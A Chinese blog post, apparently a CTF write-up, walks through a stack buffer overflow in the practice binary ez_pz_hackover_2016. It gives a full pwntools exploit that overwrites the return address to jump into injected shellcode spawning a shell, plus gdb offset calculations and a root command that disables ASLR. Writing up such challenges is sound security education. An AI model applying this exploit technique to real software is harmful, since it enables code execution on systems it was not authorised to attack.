buu之ez_pz_hackover_2016动态调试

ez_pz_hackover_2016

我看过一些师傅的wp,不是很好理解,我这里从动态调试入手
题目类型:retshellcode
所需知识:栈结构
题目流程我就不说了
直接上exp

from pwn import*

io=process('./ez_pz_hackover_2016')

context(log_level="debug",arch='i386')
gdb.attach(io,'b *0x8048600') 

shellcode=asm(shellcraft.sh())

io.recvuntil(b'crash: ')
sta=int(io.recv(10),16)
print("sta==>"+hex(sta))

payload=b'crashme\x00'+b'a'*(0x16-8) +b"bbbb" + p32(sta-0x1c) + shellcode

io.sendlineafter('>',payload)
pause()

io.interactive()

首先要做的事确定要填充多少字节的数据,才能覆盖返回地址
在这里插入图片描述
如果你从这个dest到ebp的位置来算,会出问题的
我们直接上gdb,断点下在nop位置
在这里插入图片描述
在此之前,先关闭地址随机化,更方便调试

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

在这里插入图片描述
我们可以算出从dest的输入地址到ebp地址的距离
0xffffcd18 - 0xffffcd02 = 0x16
所以我们要覆盖0x16字节的数据到ebp的位置

之后就是确定返回地址,程序是打印了变量s在栈上的地址
在这里插入图片描述
然后s在栈上的位置
在这里插入图片描述
程序在调用vuln函数的时候,它实在原有栈地址上直接压栈的,也就是说没有弹栈之前数据地址没有变
所以我们可以用0xffffcd3c得到返回地址
0xffffcd3c - 0x1c = 0xffffcd20
为什么是0xffffcd20,因为0xffffcd20是我们写入shellcode的起始位置。
ok,写完我就感觉我写的好没水平啊,就这样了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值